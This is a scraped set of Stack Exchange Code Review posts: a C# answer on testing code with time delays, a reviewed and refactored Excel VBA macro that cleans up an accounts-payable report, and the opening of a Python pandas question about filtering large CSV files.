"body": "<p>Make your code return a Task. Even if you don't await it in the program doesn't mean you can't await it in your test. Also pass in a TimeSpan instead of int for seconds.</p>\n<pre><code>public async static Task CancelAfter(TimeSpan delay, CancellationToken token, Action action)\n</code></pre>\n<p>The Task.Delay takes a TimeSpan as an option. Reading code using the TimeSpan Factories is way nicer. TasTimeSpan.FromSeconds(seconds) That's clear what is going to happen and there is no math involved to convert from milliseconds to seconds or hours or whatever.</p>\n<p>Now that it's returning a task you can await it in</p>\n<pre><code>public async Task TestCancelled(int seconds)\n{\n var tokenSource = new CancellationTokenSource(TimeSpan.FromMilliseconds(100));\n var token = tokenSource.Token;\n var action = new Mock<Action>();\n action.Setup(m => m.Invoke()).Callback(() => { });\n await DelayHelper.CancelAfter(TimeSpan.FromSeconds(seconds), token, action.Object);\n action.Verify(m => m.Invoke(), Times.Never()); //Times.Once() when in the not cancelled test\n}\n</code></pre>\n<p>Also you have bug in your test. You should be passing in the mock object instead of the dosomething. But really don't even need the dosomething method.</p>\n<p>I'm also using the TimeSpan overload for the CancellationToken so don't have to manually call cancel. But you could restructure the code to still call Cancel if you wish.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T16:29:38.217",
"Id": "255329",
"ParentId": "255325",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:30:32.857",
"Id": "255325",
"Score": "-2",
"Tags": [
"c#",
"unit-testing",
"nunit"
],
"Title": "Testing Code That Has Time Delays"
}
|
255325
|
<p>The code below first searches for the first <code>searchText</code> and deletes all rows that precede it to establish a range for a table object. Once the table object is created, it's filtered by unnecessary fields. After ensuring the <code>searchText</code> is in the first row (header), it deletes all visible rows below it in order to keep all rows with a date in the first column. The rest of the code fixes a lot of weird formatting issues. The <code>FindLast</code> function just returns the last used cell in order to establish the end of the range.</p>
<p>Because I'm assuming that the filter criteria will remain the same, it's a bit dangerous. I assume it would be better to filter by only rows with dates and delete all invisible rows, though I'm not sure what would be the best way to go about this.</p>
<pre><code>Sub Reformat_AP_PYMT()
Const expectedShtName As String = "ZZ_AP_PYMT"
Const searchText As String = "Accounting Date"
Const searchText2 As String = "Voucher Id"
Const searchText3 As String = "Vendor Id"
Const searchText4 As String = "Merchandise"
Dim ws As Worksheet
Dim tbl As ListObject
Dim rng As Range
Dim searchCell As Range
Dim lastCell As String
'Check is worksheet name exists
On Error Resume Next
Set ws = GetWorksheetByName(expectedShtName, ActiveWorkbook)
On Error GoTo 0
If ws Is Nothing Then
'If it doesn't exist, set to first sheet name
Set ws = GetUpdatedName(ActiveWorkbook)
If ws Is Nothing Then
'If all else fails, ask user to change sheet name
MsgBox "Please change sheet (tab) name to ZZ_AP_PYMT", vbExclamation, "Cancelled"
Exit Sub
End If
End If
Dim app As New ExcelAppState: app.Sleep: app.StoreState
Call DeleteBegRows(searchText, ws)
'Set range by calling FindLast (cell) and create table object
On Error Resume Next
lastCell = FindLastRowColCel.FindLast(3)
Set rng = ws.Range("A1", lastCell)
Set tbl = ws.ListObjects.Add(xlSrcRange, rng, , xlYes)
'Filter first field of table by unnecessary fields
'Only need the rows that have dates in first column and first row with accounting date in first column for header
'The issue is that this assumes these field criteria will not change. It may be better to search for Accounting date in first row _
create table, filter by date values, and delete all invisible rows
tbl.Range.AutoFilter Field:=1, Criteria1:= _
Array( _
"End of Report" _
, "Business Name" _
, "Unit" _
, "Payment Method" _
, "Grand total" _
, "Report ID" _
, "Subtotal" _
, "Accounting Date" _
, "="), Operator:= _
xlFilterValues
On Error GoTo 0
'Search for searchText (Accounting Date) in table headers
On Error Resume Next
Set searchCell = tbl.HeaderRowRange.Find(searchText, _
LookAt:=xlWhole)
On Error GoTo 0
If searchCell.Row <> 1 Then
MsgBox "Incorrect Headers. Ensure there are no rows above the first Accounting Date field.", vbInformation, "Row deletion skipped."
Err.Clear
app.RestoreState
Exit Sub
Else
ws.Rows(2 & ":" & ws.Rows.Count).Delete
End If
On Error Resume Next
tbl.Range.AutoFilter Field:=1
If Err.Number <> 0 Then
MsgBox "Please clear table filters.", vbExclamation, "Failed"
Err.Clear
app.RestoreState
Exit Sub
End If
On Error GoTo 0
Call NumberFormat(searchText2, searchText3, tbl)
Call UnicodeCleanup(tbl)
Call UpdateMerchAmt(searchText4, tbl)
On Error Resume Next
tbl.Unlist
If Err.Number <> 0 Then
MsgBox "Please convert table to a range.", vbExclamation, "Failed"
Err.Clear
app.RestoreState
Exit Sub
End If
On Error GoTo 0
app.RestoreState
End Sub
Public Function GetWorksheetByName(ByVal wsName As String, ByVal book As Workbook) As Worksheet
On Error Resume Next
Set GetWorksheetByName = book.Worksheets(wsName)
On Error GoTo 0
End Function
Public Function GetUpdatedName(ByVal actBook As Workbook) As Worksheet
On Error Resume Next
Set GetUpdatedName = actBook.Worksheets(1)
On Error GoTo 0
End Function
Public Sub DeleteBegRows(ByVal text As String, ByVal ws As Worksheet)
Dim textRng As Range
With ws
On Error Resume Next
Set textRng = .Cells.Find(What:=text, _
LookAt:=xlWhole)
On Error GoTo 0
If Not textRng Is Nothing Then
If textRng.Row <> 1 Then
Range("A1", textRng.Offset(-1)).EntireRow.Delete
Else
MsgBox "Specified text (" & text & ") is already in the first row.", vbInformation, "Cancelled"
End If
Else
MsgBox ("Specified text (" & text & ") not found.")
End If
End With
End Sub
Sub NumberFormat(ByVal venID As String, ByVal vouchID As String, ByVal tbl As ListObject)
Dim foundCell As Range
Dim foundCell2 As Range
Dim rng As ListColumn
Dim rng2 As ListColumn
'Attempt to find string values in table header row
On Error Resume Next
Set foundCell = tbl.HeaderRowRange.Find(venID, _
LookAt:=xlWhole)
Set foundCell2 = tbl.HeaderRowRange.Find(vouchID, _
LookAt:=xlWhole)
Set rng = tbl.ListColumns(venID)
Set rng2 = tbl.ListColumns(vouchID)
On Error GoTo 0
'Return table header number for specified value
'Reformat Vendor Id column with 10 zeros & Voucher Id with 8 zeros
If foundCell Is Nothing Then
MsgBox "Value not found."
Else
rng.Range.NumberFormat = "0000000000"
End If
If foundCell2 Is Nothing Then
MsgBox "Value not found."
Else
rng2.Range.NumberFormat = "00000000"
End If
End Sub
Sub UnicodeCleanup(ByVal tbl As ListObject)
Dim i As Long
Dim varray As Variant
Dim isEmpty As Boolean
'Create array list from table
On Error Resume Next
varray = tbl.DataBodyRange
On Error GoTo 0
'Check is worksheet name exists
On Error Resume Next
isEmpty = IsArrayEmpty(varray)
On Error GoTo 0
'Replace Unicode with nothing
If isEmpty = False Then
For i = LBound(varray) To UBound(varray)
Cells.Replace What:=ChrW(8237), replacement:="", LookAt:=xlPart
Cells.Replace What:=ChrW(8236), replacement:="", LookAt:=xlPart
Next
Else
MsgBox "Table range not found.", vbExclamation, "Cancelled"
End If
End Sub
Sub UpdateMerchAmt(ByVal merchAmt As String, ByVal tbl As ListObject)
Dim mRng As Range
Dim merchAmtNew As String
merchAmtNew = "Merchandise Amount"
'Search for Merchandise Amount in table headers
On Error Resume Next
Set mRng = tbl.HeaderRowRange.Find(merchAmt, _
LookAt:=xlPart)
On Error GoTo 0
If Not mRng Is Nothing Then
mRng.Value = merchAmtNew
Else
MsgBox "Values not found. Remove space from " & merchAmt, vbExclamation, "Cancelled"
End If
End Sub
Public Function IsArrayEmpty(Arr As Variant) As Boolean
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' IsArrayEmpty
' This function tests whether the array is empty (unallocated). Returns TRUE or FALSE.
'
' The VBA IsArray function indicates whether a variable is an array, but it does not
' distinguish between allocated and unallocated arrays. It will return TRUE for both
' allocated and unallocated arrays. This function tests whether the array has actually
' been allocated.
'
' This function is really the reverse of IsArrayAllocated.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Dim LB As Long
Dim UB As Long
Err.Clear
On Error Resume Next
If IsArray(Arr) = False Then
'We weren't passed an array, return True
IsArrayEmpty = True
End If
' Attempt to get the UBound of the array. If the array is
' unallocated, an error will occur.
UB = UBound(Arr, 1)
If (Err.Number <> 0) Then
IsArrayEmpty = True
Else
''''''''''''''''''''''''''''''''''''''''''
' On rare occasions, under circumstances I
' cannot reliably replicate, Err.Number
' will be 0 for an unallocated, empty array.
' On these occasions, LBound is 0 and
' UBound is -1.
' To accommodate this weird behavior, test to
' see if LB > UB. If so, the array is not
' allocated.
''''''''''''''''''''''''''''''''''''''''''
Err.Clear
LB = LBound(Arr)
If LB > UB Then
IsArrayEmpty = True
Else
IsArrayEmpty = False
End If
End If
End Function
</code></pre>
<p>And the <code>ExcelAppState</code> class:</p>
<pre><code>Option Explicit
Private m_calculationMode As XlCalculation
Private m_screenUpdating As Boolean
Private m_displayAlerts As Boolean
Private m_hasStoredState As Boolean
Private m_hasStoredCalcMode As Boolean
Public Sub StoreState()
With Application
On Error Resume Next 'In case no Workbook is opened
m_calculationMode = .Calculation
m_hasStoredCalcMode = (Err.Number = 0)
On Error GoTo 0
m_screenUpdating = .ScreenUpdating
m_displayAlerts = .DisplayAlerts
End With
m_hasStoredState = True
End Sub
Public Sub RestoreState(Optional ByVal maxSecondsToWait As Integer)
If Not m_hasStoredState Then
Err.Raise 5, TypeName(Me) & ".RestoreState", "State not stored"
End If
With Application
If m_hasStoredCalcMode Then
On Error Resume Next
If .Calculation <> m_calculationMode Then .Calculation = m_calculationMode
On Error GoTo 0
End If
If .ScreenUpdating <> m_screenUpdating Then .ScreenUpdating = m_screenUpdating
If .DisplayAlerts <> m_displayAlerts Then .DisplayAlerts = m_displayAlerts
End With
m_hasStoredState = False
End Sub
Public Sub Sleep()
With Application
On Error Resume Next
If .Calculation <> xlCalculationManual Then .Calculation = xlCalculationManual
On Error GoTo 0
If .ScreenUpdating Then .ScreenUpdating = False
If .DisplayAlerts Then .DisplayAlerts = False
End With
End Sub
Public Sub Wake(Optional ByVal maxSecondsToWait As Integer = 10)
With Application
On Error Resume Next
If .Calculation <> xlCalculationAutomatic Then .Calculation = xlCalculationAutomatic
On Error GoTo 0
If Not .ScreenUpdating Then .ScreenUpdating = True
If Not .DisplayAlerts Then .DisplayAlerts = True
End With
End Sub
</code></pre>
|
[] |
[
{
"body": "<p><strong>Getting the desired worksheet</strong></p>\n<p>You are using the <code>GetWorksheetByName</code> function which will either return <code>Nothing</code> or a valid worksheet object:</p>\n<blockquote>\n<pre><code>On Error Resume Next\nSet ws = GetWorksheetByName(expectedShtName, ActiveWorkbook)\nOn Error GoTo 0\n</code></pre>\n</blockquote>\n<p>However, the mentioned function already does the error handling and no error will ever be raised. So, the 3 lines above should be just:</p>\n<pre><code>Set ws = GetWorksheetByName(expectedShtName, ActiveWorkbook)\n</code></pre>\n<p>after which you proceed correctly to check <code>If ws Is Nothing Then ...</code>.</p>\n<p>I like the fact that you've split the logic into multiple functions to make the code more manageable. Let's split even further and move all the logic related with getting the <strong>ZZ_AP_PYMT</strong> sheet into a separate function to make the main function easier to read/follow:</p>\n<pre><code>Private Function GetZZAPPYMTSheet() As Worksheet\n Const expectedShtName As String = "ZZ_AP_PYMT"\n Dim ws As Worksheet\n \n Set ws = GetWorksheetByName(expectedShtName, ActiveWorkbook)\n If ws Is Nothing Then\n 'If it doesn't exist, set to first sheet name\n Set ws = GetUpdatedName(ActiveWorkbook)\n If ws Is Nothing Then\n 'If all else fails, ask user to change sheet name\n MsgBox "Please change sheet (tab) name to ZZ_AP_PYMT", vbExclamation, "Cancelled"\n Exit Sub\n End If\n End If\nEnd Function\n</code></pre>\n<p>and in the main method we would only need:</p>\n<pre><code>Set ws = GetZZAPPYMTSheet()\nIf ws Is Nothing Then Exit Sub\n</code></pre>\n<p>If we look at the <code>GetUpdateName</code> method:</p>\n<blockquote>\n<pre><code>Public Function GetUpdatedName(ByVal actBook As Workbook) As Worksheet\n On Error Resume Next\n Set GetUpdatedName = actBook.Worksheets(1)\n On Error GoTo 0\nEnd Function\n</code></pre>\n</blockquote>\n<p>we can see that it simply retrieves the first worksheet of a workbook or returns Nothing if the book is not set or there is no worksheet (e.g. just chart sheets). We could remove this method and instead update the logic inside our <code>GetZZAPPYMTSheet</code> method to take into account that the book might not be set or there are no worksheets, so we can display a more meaningful message to the user:</p>\n<pre><code>Private Function GetZZAPPYMTSheet() As Worksheet\n Const expectedShtName As String = "ZZ_AP_PYMT"\n Dim ws As Worksheet\n Dim book As Workbook\n \n Set book = ActiveWorkbook\n If book Is Nothing Then\n 'Can happen if this code is run within an AddIn (e.g. .xlam file)\n MsgBox "Please activate a Workbook", vbInformation, "Cancelled"\n Exit Function\n End If\n \n Set ws = GetWorksheetByName(expectedShtName, book)\n If ws Is Nothing Then\n If book.Worksheets.Count > 0 Then\n Set ws = book.Worksheets(1)\n Else\n MsgBox "No Worksheets found!" & vbNewLine & "Please select workbook containing <" _\n & expectedShtName & "> worksheet!", vbInformation, "Cancelled"\n Exit Function\n End If\n End If\n Set GetZZAPPYMTSheet = ws\nEnd Function\n</code></pre>\n<p><strong>Deleting rows</strong></p>\n<p>After the desired worksheet is retrieved, your first operation (excluding application state changes) is to delete rows using the <code>DeleteBegRows</code> method. Altough the name of the method suggests that rows are deleted, the method in fact does a text search as well. If the text is not found the method simply displays a message box and returns while the main function continues.</p>\n<p>What if the worksheet was entirely empty? The main code will carry on with creating a table (which of course does not get created but simply skipped because of the <code>On Error Resume Next</code>) and eventually an error is raised in between the error handling sections. The state of the application does not get restored because of that.</p>\n<p>Because of the above, it is better to remove the 'search text' functionality from the <code>DeleteBegRows</code> method in order to gain some control if the main method should continue or not. This should work:</p>\n<pre><code>Private Function FindTextInRange(ByVal text As String, ByVal rng As Range) As Range\n On Error Resume Next\n Set FindTextInRange = rng.Find(What:=text, LookAt:=xlWhole)\n On Error GoTo 0\nEnd Function\n</code></pre>\n<p>which we can call (from <code>Reformat_AP_PYMT</code>) using:</p>\n<pre><code>Set rng = FindTextInRange(searchText, ws.UsedRange)\nIf rng Is Nothing Then\n MsgBox "Cannot find required header!", vbExclamation, "Cancelled"\n Exit Sub\nEnd If\n</code></pre>\n<p>and only then proceed to delete the rows above the found table header. BTW, I would rename\n<code>searchText</code> with something more meaningful like <code>requiredTableHeader</code></p>\n<p>The method deleting the rows could become:</p>\n<pre><code>Public Function DeleteAboveRow(ByVal rowIndex As Long, ByVal ws As Worksheet) As Boolean\n If rowIndex <= 1 Then\n DeleteAboveRow = True\n Exit Function\n End If\n On Error Resume Next\n ws.Rows("1:" & rowIndex - 1).Delete xlShiftUp\n DeleteAboveRow = (Err.Number = 0)\n On Error GoTo 0\nEnd Function\n</code></pre>\n<p>This method will not raise any error but simply return True/False to indicate success. I am not sure if this is critical. Obviously, if the worksheet is protected or the rows are ovelapping with multiple ListObjects the operation will fail so the return value of the function can be used to decide if execution should continue or not.</p>\n<p>Code:</p>\n<blockquote>\n<pre><code>Call DeleteBegRows(searchText, ws)\n</code></pre>\n</blockquote>\n<p>can become:</p>\n<pre><code>If Not DeleteAboveRow(rng.Row, ws) Then\n MsgBox "Cannot delete rows!", vbExclamation, "Cancelled"\n app.RestoreState\n Exit Sub\nEnd If\n</code></pre>\n<p>or simply ignoring the result with:</p>\n<pre><code>DeleteAboveRow rng.Row, ws\n</code></pre>\n<p>if the delete operation is not absolutely needed.</p>\n<p>BTW, you should have posted the <code>ExcelAppState</code> class so that other people understand what it does. I obviously know already from your <a href=\"https://codereview.stackexchange.com/questions/254730/copy-a-contiguous-sub-column-of-cells\">previous question</a> but keep this in mind. You should strive to post code that can be copied to a new document and actually compiles for all readers. I've edited your question but I am not sure if that will get appoved by the senior members.</p>\n<p>Finally, rather than repeating the 2 rows:</p>\n<pre><code>app.RestoreState\nExit Sub\n</code></pre>\n<p>we can create a label at the end of the method:</p>\n<pre><code>Clean:\n app.RestoreState\nEnd Sub\n</code></pre>\n<p>and replace the 2 mentioned lines with <code>GoTo Clean</code></p>\n<p><strong>Creating the structured table (<code>ListObject</code>)</strong></p>\n<p>Since the <code>FindLastRowColCel.FindLast(3)</code> code is missing from your question I will simply be using the <code>Worksheet.UsedRange</code> to create the table. Obviously, this would create issues if the rows above the headers were not deleted but I will simply assume that the delete operation was critical and was not skipped.</p>\n<p>This:</p>\n<blockquote>\n<pre><code>On Error Resume Next\nlastCell = FindLastRowColCel.FindLast(3)\nSet rng = ws.Range("A1", lastCell)\nSet tbl = ws.ListObjects.Add(xlSrcRange, rng, , xlYes)\n</code></pre>\n</blockquote>\n<p>can become:</p>\n<pre><code>On Error Resume Next\nSet tbl = ws.ListObjects.Add(xlSrcRange, ws.UsedRange, , xlYes)\nOn Error GoTo 0\nIf tbl Is Nothing Then\n MsgBox "Cannot create table!", vbExclamation, "Cancelled"\n GoTo Clean\nEnd If\n</code></pre>\n<p><strong>Filtering the table</strong></p>\n<p>Instead of filtering specific unwanted values it would be better to simply keep all the dates within the Accounting Date column and delete everything else. It's difficult to maintain a list of possible unwanted values. Your list: <code>Array("End of Report", "Business Name", "Unit", "Payment Method", "Grand total", "Report ID", "Subtotal", "Accounting Date", "=")</code> can never be exhaustive.</p>\n<p>We already have the position of the Account Date column in the range we previously searched (i.e. <code>rng</code>). So, the column index would be equal to <code>rng.Column - tbl.Range.Column + 1</code></p>\n<p>If we first sort the table by the dates column, then all the dates will be grouped and we only have to delete above and/or below the dates. No need for filtering. In the final code look for the <code>KeepDatesOnly</code> method to see one way of achieving this. There are many other ways.</p>\n<p><strong>Misc</strong></p>\n<p>Consider renaming the searchText2, searchText3 and searchText4 to more meaninful constant names.</p>\n<p>The <code>tbl.Unlist</code> operation can't really fail if the code reached that far.</p>\n<p>I've simplified <code>UnicodeCleanup</code> to just:</p>\n<pre><code>Public Sub UnicodeCleanup(ByVal tbl As ListObject)\n If tbl Is Nothing Then Exit Sub\n If tbl.DataBodyRange Is Nothing Then Exit Sub\n With tbl.DataBodyRange\n .Replace What:=ChrW(8237), replacement:="", LookAt:=xlPart\n .Replace What:=ChrW(8236), replacement:="", LookAt:=xlPart\n End With\nEnd Sub\n</code></pre>\n<p>You were running the code for the entire worksheet in a loop. Try entering the following in your <strong>Immediate</strong> window: <code>?Cells.Address</code> and then press Enter. You will see what I mean.</p>\n<p>The <code>IsArrayEmpty</code> is obviously not needed anymore.</p>\n<p>I won't discuss the remaining 2 methods: <code>NumberFormat</code> and <code>UpdateMerchAmt</code>.</p>\n<p><strong>Final code</strong></p>\n<pre><code>Option Explicit\n\nSub Reformat_AP_PYMT()\n Const requiredTableHeader As String = "Accounting Date"\n\n Dim ws As Worksheet\n Dim tbl As ListObject\n Dim rng As Range\n \n 'Retrieve required worksheet\n Set ws = GetZZAPPYMTSheet()\n If ws Is Nothing Then Exit Sub\n \n 'Find required table header\n Set rng = FindTextInRange(requiredTableHeader, ws.UsedRange)\n If rng Is Nothing Then\n MsgBox "Cannot find required header!", vbExclamation, "Cancelled"\n Exit Sub\n End If\n \n 'Delete unnecessary rows\n Dim app As New ExcelAppState: app.Sleep: app.StoreState\n If Not DeleteAboveRow(rng.Row, ws) Then\n MsgBox "Cannot delete rows!", vbExclamation, "Cancelled"\n GoTo Clean\n End If\n \n 'Create table\n On Error Resume Next\n Set tbl = ws.ListObjects.Add(xlSrcRange, ws.UsedRange, , xlYes)\n On Error GoTo 0\n If tbl Is Nothing Then\n MsgBox "Cannot create table!", vbExclamation, "Cancelled"\n GoTo Clean\n ElseIf tbl.ListRows.Count = 0 Then\n MsgBox "Table has no rows", vbInformation, "Cancelled"\n GoTo Clean\n End If\n \n 'Delete unwanted rows\n If Not KeepDatesOnly(tbl, rng.Column - tbl.Range.Column + 1) Then GoTo Clean\n \n Const searchText2 As String = "Voucher Id"\n Const searchText3 As String = "Vendor Id"\n Const searchText4 As String = "Merchandise"\n \n Call NumberFormat(searchText2, searchText3, tbl)\n Call UnicodeCleanup(tbl)\n Call UpdateMerchAmt(searchText4, tbl)\n \n 'If code reached this far then there should be no reason to fail converting to a range\n tbl.Unlist\nClean:\n app.RestoreState\nEnd Sub\n\nPrivate Function GetZZAPPYMTSheet() As Worksheet\n Const expectedShtName As String = "ZZ_AP_PYMT"\n Dim ws As Worksheet\n Dim book As Workbook\n \n Set book = ActiveWorkbook\n If book Is Nothing Then\n 'Can happen if this code is run within an AddIn (e.g. .xlam file)\n MsgBox "Please activate a Workbook", vbInformation, "Cancelled"\n Exit Function\n End If\n \n Set ws = GetWorksheetByName(expectedShtName, book)\n If ws Is Nothing Then\n If book.Worksheets.Count > 0 Then\n Set ws = book.Worksheets(1)\n Else\n MsgBox "No Worksheets found!" & vbNewLine & "Please select workbook containing <" _\n & expectedShtName & "> worksheet!", vbInformation, "Cancelled"\n Exit Function\n End If\n End If\n Set GetZZAPPYMTSheet = ws\nEnd Function\n\nPublic Function GetWorksheetByName(ByVal wsName As String, ByVal book As Workbook) As Worksheet\n On Error Resume Next\n Set GetWorksheetByName = book.Worksheets(wsName)\n On Error GoTo 0\nEnd Function\n\nPrivate Function FindTextInRange(ByVal text As String, ByVal rng As Range) As Range\n On Error Resume Next\n Set FindTextInRange = rng.Find(What:=text, LookAt:=xlWhole)\n On Error GoTo 0\nEnd Function\n\nPublic Function DeleteAboveRow(ByVal rowIndex As Long, ByVal ws As Worksheet) As Boolean\n If rowIndex <= 1 Then\n DeleteAboveRow = True\n Exit Function\n End If\n On Error Resume Next\n ws.Rows("1:" & rowIndex - 1).Delete xlShiftUp\n DeleteAboveRow = (Err.Number = 0)\n On Error GoTo 0\nEnd Function\n\nPrivate Function KeepDatesOnly(ByVal tbl As ListObject, ByVal columnIndex As Long) As Boolean\n 'Sort table\n On Error Resume Next\n With tbl.Sort.SortFields\n .Clear\n .Add Key:=tbl.ListColumns(columnIndex).Range, SortOn:=xlSortOnValues _\n , Order:=xlAscending, DataOption:=xlSortNormal\n End With\n With tbl.Sort\n .Header = xlYes\n .MatchCase = False\n .Orientation = xlTopToBottom\n .SortMethod = xlPinYin\n .Apply\n End With\n If Err.Number <> 0 Then\n MsgBox "Cannot sort table!", vbExclamation, "Cancelled"\n Err.Clear\n Exit Function\n End If\n On Error GoTo 0\n \n Dim arr() As Variant: arr = tbl.ListColumns(columnIndex).DataBodyRange.Value2\n Dim i As Long\n Dim startRow As Long\n Dim endRow As Long\n \n 'First, we find rows at the end\n startRow = 0\n endRow = 0\n For i = UBound(arr, 1) To LBound(arr, 1) Step -1\n If IsValidDate(arr(i, 1)) Then\n startRow = i + 1\n Exit For\n Else\n If endRow = 0 Then endRow = i\n End If\n Next i\n \n On Error GoTo FailDelete\n If startRow = 0 Then\n 'Delete all rows\n tbl.DataBodyRange.Delete xlShiftUp\n KeepDatesOnly = True\n Exit Function\n ElseIf endRow > 0 Then\n tbl.DataBodyRange.Rows(startRow & ":" & endRow).Delete xlShiftUp\n End If\n On Error GoTo 0\n \n 'Finally we delete rows at the beggining. By this stage we clearly have valid dates\n startRow = 0\n endRow = 0\n For i = LBound(arr, 1) To UBound(arr, 1)\n If IsValidDate(arr(i, 1)) Then\n endRow = i - 1\n Exit For\n Else\n If startRow = 0 Then startRow = i\n End If\n Next i\n \n On Error GoTo FailDelete\n If startRow > 0 Then\n tbl.DataBodyRange.Rows(startRow & ":" & endRow).Delete xlShiftUp\n End If\n On Error GoTo 0\n \n KeepDatesOnly = True\nExit Function\nFailDelete:\n MsgBox "Cannot delete rows from table!", vbExclamation, "Cancelled"\n KeepDatesOnly = False\nEnd Function\n\nPrivate Function IsValidDate(ByVal v As Variant) As Boolean\n Const minDate As Date = #1/1/1990#\n Const maxDate As Date = #12/31/2099#\n \n On Error Resume Next\n v = CDate(v)\n On Error GoTo 0\n \n If VarType(v) = vbDate Then\n If v < minDate Or v > maxDate Then Exit Function\n Else\n Exit Function\n End If\n IsValidDate = True\nEnd Function\n\nSub NumberFormat(ByVal venID As String, ByVal vouchID As String, ByVal tbl As ListObject)\n Dim foundCell As Range\n Dim foundCell2 As Range\n Dim rng As ListColumn\n Dim rng2 As ListColumn\n \n 'Attempt to find string values in table header row\n On Error Resume Next\n Set foundCell = tbl.HeaderRowRange.Find(venID, _\n LookAt:=xlWhole)\n Set foundCell2 = tbl.HeaderRowRange.Find(vouchID, _\n LookAt:=xlWhole)\n Set rng = tbl.ListColumns(venID)\n Set rng2 = tbl.ListColumns(vouchID)\n On Error GoTo 0\n \n 'Return table header number for specified value\n 'Reformat Vendor Id column with 10 zeros & Voucher Id with 8 zeros\n If foundCell Is Nothing Then\n MsgBox "Value not found."\n Else\n rng.Range.NumberFormat = "0000000000"\n End If\n \n If foundCell2 Is Nothing Then\n MsgBox "Value not found."\n Else\n rng2.Range.NumberFormat = "00000000"\n End If\nEnd Sub\n\nPublic Sub UnicodeCleanup(ByVal tbl As ListObject)\n If tbl Is Nothing Then Exit Sub\n If tbl.DataBodyRange Is Nothing Then Exit Sub\n With tbl.DataBodyRange\n .Replace What:=ChrW(8237), replacement:="", LookAt:=xlPart\n .Replace What:=ChrW(8236), replacement:="", LookAt:=xlPart\n End With\nEnd Sub\n\nSub UpdateMerchAmt(ByVal merchAmt As String, ByVal tbl As ListObject)\n Dim mRng As Range\n Dim merchAmtNew As String\n merchAmtNew = "Merchandise Amount"\n \n 'Search for Merchandise Amount in table headers\n On Error Resume Next\n Set mRng = tbl.HeaderRowRange.Find(merchAmt, _\n LookAt:=xlPart)\n On Error GoTo 0\n \n If Not mRng Is Nothing Then\n mRng.Value = merchAmtNew\n Else\n MsgBox "Values not found. Remove space from " & merchAmt, vbExclamation, "Cancelled"\n End If\nEnd Sub\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T00:08:53.420",
"Id": "504190",
"Score": "0",
"body": "This is absolutely fantastic! Thank you once again. It's amazing how much value you are able to add even when I think I did a decent job. I will definitely have to keep in mind how every aspect of a module can affect the rest of the code. Also, I went ahead and approved your suggestion."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T00:12:00.497",
"Id": "504191",
"Score": "0",
"body": "I love your method for filtering the first column by the dates in an ascending order to ensure the dates are grouped. I'll need to test it to ensure none of the dates are deleted since there are a bunch of different text and blank values in the column. It definitely is difficult trying to ensure the list is exhaustive since the data constantly changes. Thank you for the method for getting the sheet name. I was thinking that there is a potential for an error but wasn't entirely sure how to handle it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T00:15:49.187",
"Id": "504192",
"Score": "0",
"body": "What's a good way to maintain a great naming convention? Should I just think hard about the general idea of what each variable name relates to or is there an actual method? I'll definitely update the searchText names. Thanks for pointing that out. Have you ever written a book or created an online class? Your explanations are very easy to follow and better than some other programming books I've read. Do you have a favorite book on VBA?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T02:26:20.087",
"Id": "504202",
"Score": "4",
"body": "@BobtheBuilder Naming is hard! A good rule of thumb is that you want *descriptive* names that don't need an explanatory comment. My [Rubberduck News](https://rubberduckvba.wordpress.com/) blog has >100 articles on various VBA topics, with a focus on clean code and OOP. [Rubberduck](http://www.rubberduckvba.com/) (I manage this open-source project) can also help, with code inspections and refactoring tools (naming is hard - but *renaming* is easy!)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T07:49:46.867",
"Id": "504216",
"Score": "1",
"body": "@BobtheBuilder Thanks, but I am not that good to write a book. I do not have preffered VBA books but consider reading [Code Complete](https://www.amazon.co.uk/Code-Complete-Practical-Handbook-Construction/dp/0735619670/ref=sr_1_1?dchild=1&keywords=code+complete+3&qid=1612338273&sr=8-1) and [Clean Code](https://www.amazon.co.uk/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882/ref=sr_1_1?dchild=1&keywords=clean+code&qid=1612338309&sr=8-1) if you haven't already. The blog that Mathieu Guindon has linked contains lots of VBA gems. As he mentioned, make sure names are descriptive."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T08:05:28.983",
"Id": "504218",
"Score": "3",
"body": "@MathieuGuindon I think it would be very useful if your blog would have a separate navigation option for the VBA-only articles. You have really excellent ones but they are hard to find just by navigating month by month. E.g. going back to 2015 to read about OOP in VBA. It's faster to google search your older articles than to browse for them in the blog especially if they are far back. Maybe not feasible but would be really useful."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T16:31:20.490",
"Id": "255513",
"ParentId": "255326",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "255513",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:43:37.073",
"Id": "255326",
"Score": "3",
"Tags": [
"vba",
"excel",
"error-handling"
],
"Title": "Create Table After Deleting Rows Before Desired Range and Filter to Delete All Other Unnecessary Rows"
}
|
255326
|
<p>I have 4 CSV files that i need to process (filter out Part segment and then merge them) but the problem is that they do not fit in my memory. So I decided to: [open - filter - write out] each one of theses 4 files and merge them after reopening the filtered version.</p>
<p>I learned that it was good practice to decouple the functionality (filter functionality, merge functionality, write out functionality) but in this case splitting filter and dumping out functionality seem silly, it would be like wrapping an existing function from pandas library.
But merging the 2 functionality make me also uncomfortable since I have heard that it is not good practice to write functions that return and have side effect (as writing out a CSV) as follow:</p>
<pre><code>def exclude_segm_part(f):
""" Filter out "Part client" on credit selection and write it on disk
Args:
f (string): filepath of the credit base (csv)
"""
df = pd.read_csv(f,sep=';',encoding="latin")
df_filter = df[df.LIB_SEGM_SR_ET!="PARTICULIERS"]
filename = "{base}.txt".format(base=os.path.basename(f).split(".txt")[0])
df_filter.to_csv(filename,index=False,sep=';')
return df_filter
</code></pre>
